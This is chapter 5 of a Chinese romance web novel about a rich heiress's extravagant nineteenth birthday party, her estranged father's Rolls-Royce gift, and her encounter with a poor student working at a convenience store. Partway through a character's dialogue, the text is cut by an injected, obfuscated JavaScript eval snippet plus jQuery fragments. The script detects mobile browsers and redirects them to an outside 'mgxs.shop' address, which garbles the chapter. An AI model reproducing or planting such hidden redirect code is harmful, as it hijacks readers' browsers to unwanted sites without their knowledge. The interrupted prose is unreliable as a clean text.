5. 第 5 章
作品:《野玫瑰与忠犬》 “微微,过几天就是你的十九岁生日了,去年成人礼时你还在念高中,今年是不是比去年办得还要盛大?”唐悦瑶是第一个收到苏云微的邀请函的。
她的邀请函是一个天鹅绒礼盒,里面精心地用非遗绒花制作了一束玫瑰作为装点,下面垫着丰厚的伴手礼,比一般婚宴的请柬还要精美考究。
“嗯,今年杨叔确实大操大办了点。你有没有什么想见的的明星?”去年其实只是她厌烦这样功利虚伪的场合,才以读书为借口婉拒了。
“最近在听斯威格的歌,他会来吗?”是最近在互联网上小有名气的创作歌手,为人低调孤僻,据说有许多综艺节目向他抛去橄榄枝,可都被他拒绝了。
“你想见他的话,我可以把他喊过来。”
“真的吗?”唐悦瑶惊喜若狂。
“当然,你知道我的。如果你需要的话,他会来的。”唐悦瑶自然了解苏云微的脾性,她不轻易许诺,但一旦点头答应的事情,没有一件完不成的。
「10月3日」
苏云微站在酒店套房的落地窗前,整座城市在她的眼前便成了旷野,无论是车水马龙的主干道,还是灯火通明的商厦大楼,都一览无余。
【杨叔:小姐,秦老师团队已经到酒店大堂了,请问是让她们上去等您,还是您来宴会厅进行妆造?】
杨叔是她爸爸的生活助理之一,这些年和她联络的次数比她的亲爹更为密切。
【我下去吧。】
唐悦瑶到达现场的时候,才意识到苏云微口中的“大操大办”是什么意思。
目前国内最炙手可热的一晚价值十万的秦倩雪明星造型团队为她梳妆打扮,国际上所有能叫得上名字的一线大牌纷纷送来超季礼服等待她的“首穿”,挂成一排。
唐悦瑶简直恨不得多生出几双眼睛,好将这些珠光宝气的礼服看得更清些。
Crown整个酒店今天均不对外营业,晚宴交由两岸三地国民度最高的娱乐主播来进行主持,四大天王、六小天后依次上台演唱,刚刚落幕的奥运会闭幕式上表演的交响乐团全程进行伴奏,就连今年荣获威尼斯电影节影后的米莉和柏林金熊奖的张导也都亲自到场祝贺。
“天呐,今年估计除了春晚,也就你的生日会能集齐这么多大咖了。”
唐悦瑶凑到苏云微的耳边忍不住感叹道,难怪外面都称光影国际旗下的光影娱乐是内娱的半壁江山,这么看来,这或许都是谦虚的说法了。
“云微,我刚刚一进门就看到你了,你真是越来越美了,老远看还以为哪本童话书没关紧,让公主跑出来了呢!”
迎面走来一个秀美华贵的女生亲热地拉住苏云微的手,五串金珠由大到小依次落座在她的脖子上,举手投足时胳膊上的绿松石、红玛瑙、蓝宝石手链更是噼里啪啦地合唱着一首杂乱的舞曲,明明才十月初,她脖子上却挂着一条雪狐毛做的披肩,看着都令人生汗。
“嗯,”明明你前两天才因为礼服被我调走,没让你在海瑞温斯顿内购会上大出风头而气得背后对我破口大骂,往日里也没少造我的谣,苏云微悠哉悠哉地开腔回她,“看来我家酒店最近冷气效果不太好,我得好好和经理说说了,不然把宋菡绫大小姐冻出什么问题来,我可是赔不起啊。”
“哈哈,云微你还是这么幽默。”宋大小姐脸上依旧是挑不出问题的端庄笑容,眼神却阴嗖嗖的,活像要把苏云微生剐了一样。
“小姐,香槟塔已经准备好了,都在等着您开席呢。”杨叔凑到她耳边小声提醒。
香槟如瀑布般缓缓落下,全场掌声雷动。苏云微站在台上,看着台下一张张或生疏或熟悉的面孔,她知道,今天站在台上的这个人是苏云微,还是苏雪微,对他们而言都没有任何区别。
她只是这个宴会上的一个吉祥物,用来为这个觥筹交错的热闹场合搭建一个完美的平台。
他们每个人脸上都堆满了殷切的笑容,彼此之间热情地握手拥抱,随即爆发出一阵炽热的聒噪,然后继续排列组合,重复上演着一样的剧情。
那一张张虚情假意的面具看得她心生疲倦,她拿起一杯香槟走到窗前,眺望着远方,唐悦瑶亦步亦趋地跟在她后面。
“云微,还在等苏伯伯啊?”沈嘉礼找准时机凑到她的身边,他今天好生打扮了一番,穿着一身阿玛尼的西装,上面用金色刺绣绘制的祥云图案衬得他更加端正俊朗,“你最近怎么都不回我消息了?还在生我的气吗?”
他身上的香水味脂粉气太重,她微微皱眉:“不回复,已经是一种回复了。”
沈嘉礼伸出手,还想挽留什么,门口突然涌现出一阵吵闹的骚动,苏云微顺着声音走到门口,是她父亲的首席秘书陆国华站在酒店餐厅门口,旁边是被黑色丝绒布盖着的庞然大物。
“小姐,这是先生送您的十九岁生日礼物,祝您年年欢愉,岁岁无忧。苏总说,您只需要大胆往前开,他会为您一路保驾护航。”
随着他祝福的结束,一辆镶满粉色钻石的劳斯莱斯幻影在众人的瞩目下惊艳亮相,连车牌“W1003”都是特意挑选了她名字的缩写和生日组成的,既独一无二又细心周到。
空气在极度的安静中凝固了几秒钟,随后顿时爆发出了各式各样的羡慕和恭维:“云微,你真是好幸福啊,”
“对啊,这可是旁人求个三生三世也修不来的好福气呢!”
“江城里论女儿奴,苏总当之无愧的第一啊,咱们都甘拜下风了,哈哈哈哈!”
“小姐,苏总今天在圣克拉拉谈并购,所以不能亲自到场祝福你,还请你谅解。”
“知道了,陆叔叔,您记得提醒爸爸注意身体。”
上次见到他是什么时候,去年?前年?太久远,记不清了,她不知道父亲是何时开始慢慢走出自己的世界的,母亲离世之后,他们从见面就吵,到后来的无话可说,似乎一切都是那么突然。
父亲不善言辞,而青春期时候的她自尊心比天还高,说话做事都是夹枪带棒,一步步竟然把他们推到了不复相见的地步。
她甚至记不起,自己到底是哪里得罪了父亲,也许她闯的祸来多,积累到一定程度了,让他已经对她忍无可忍了吧。
“云微,苏伯伯对你可真是用心,我爸妈就从来不会送我那么贵重的礼物,连给我打多打点钱都是我苦苦哀求的。说真的,你才是我妈的亲女儿吧,我妈现在不方便出门都不忘耳提面令让我务必过来把你哄好,”沈嘉礼完全无视了唐悦瑶的眼神警示,继续不死心地跟在她身后,希望通过这种死皮赖脸的方式与她冰释前嫌,“对了,我送给你的红宝石耳环,你看到了吗?我一直记着你喜欢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342142|199394||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红色,特意拿我这几年所有存款买的。”
“那款,我已经有了,高二那年你过生日那天,我戴的就是它。”苏云微没有转头回应他,说出来的话却让他难堪地自觉停住了追逐她的脚步。
“云微,好久不见,你变得更漂亮了。”
迎面走来一对光鲜亮丽的男女,又是雷同的开场白。苏云微看着女孩挽在男生臂弯里的胳膊,她隐约记得这个男生是女孩哥哥勾肩搭背长大的哥们,和女孩也算是半个门当户对的青梅竹马。
只是这个男孩在多伦多留学时谈了一个公费留学生,好像已经两年多了,感情稳定到在那里租了个公寓当作/爱巢,他发在□□空间的恩爱合照苏云微偶尔也能会看到。
但此刻眼前二人举止亲昵到宛如一对神仙眷侣,周围知道实情的人看上去也见怪不怪,刚刚擦肩而过的人还打趣道:“什么时候能喝上你俩的喜酒啊?”
女孩娇俏地拍了那调侃的人一下:“真讨厌。”男生则是充满爱意地刮了一下女生的鼻子:“那还不都听你的呀。”
苏云微看到这一幕,只觉得荒诞得离奇,喉咙里一阵酸苦,鼻尖沁出密密的汗珠。
这里的空气似乎格外沉重,好像在她的周围单独盖上了一个玻璃罩子,让她连呼吸都不得不减缓些速度。
她迫不及待想去呼吸一口新鲜空气。
江逾白正在清理冷藏柜里的过期食物,假期里的薪资是平时的三倍,他通过电话确认了奶奶的状态后便决定留在学校继续兼职。
他要早点存够给奶奶做手术的钱,最好还能有多余的钱,在宁城地铁沿线租一套小小的房间,免得奶奶每次来医院拿药,一来一回就要花上整整一天时间。
现在拿在他手上的冷冻饭团和一碗泡面就是他今天的晚饭,老板允许他自行处理这些刚过保质期的食物。
“你晚饭就吃这个吗?能吃饱?”江逾白抬头,看见苏云微正斜靠在便利店的玻璃门上盯着他。
她穿着一件渐变波纹叠着密钻的大裙摆礼裙,看上去像是在婚礼上落跑的新娘。而她的神情还是一如既往地高傲,如同一只优雅贵气的白天鹅,正在雄赳赳地阔步走向店里的高脚椅。
“这周围有什么好吃的店铺吗,我请你吃晚饭,就当是还你上次送给我的那颗糖了。”
“不用了,我能吃饱。”江逾白将握着饭团的手藏在自己的身后,他已经在命运的波折中可以坦然直视自己的贫穷了,只是他偏偏不想自己这样窘迫的样子暴露在她的面前。
她今天穿得那么漂亮,他移不开眼睛,却又不得不启动自己强大的意志力逼迫着自己移开视线。
他相信那颗糖在她收到过的诸多礼物里,这是最微不足道的那一个。
他并不想因此与她产生任何瓜葛,尤其是在现在这个他只能为生计奔波,为生活低头的时候。
何况,她有家室相当的未婚夫。
所以他只能僵硬地拒绝她。
“如果你不答应和我一起吃饭,那我就赖在你们店里不走了,距离你十点换班应该还有十来分钟的时间,与其浪费在思考怎么拒绝我上,不如好好想想马上吃什么。毕竟,你的拒绝,我不接受。”
她的话霸道到不给他留一丝迂回的空间,自顾自地发号完命令,她便玩起了手机,不再与他沟通。

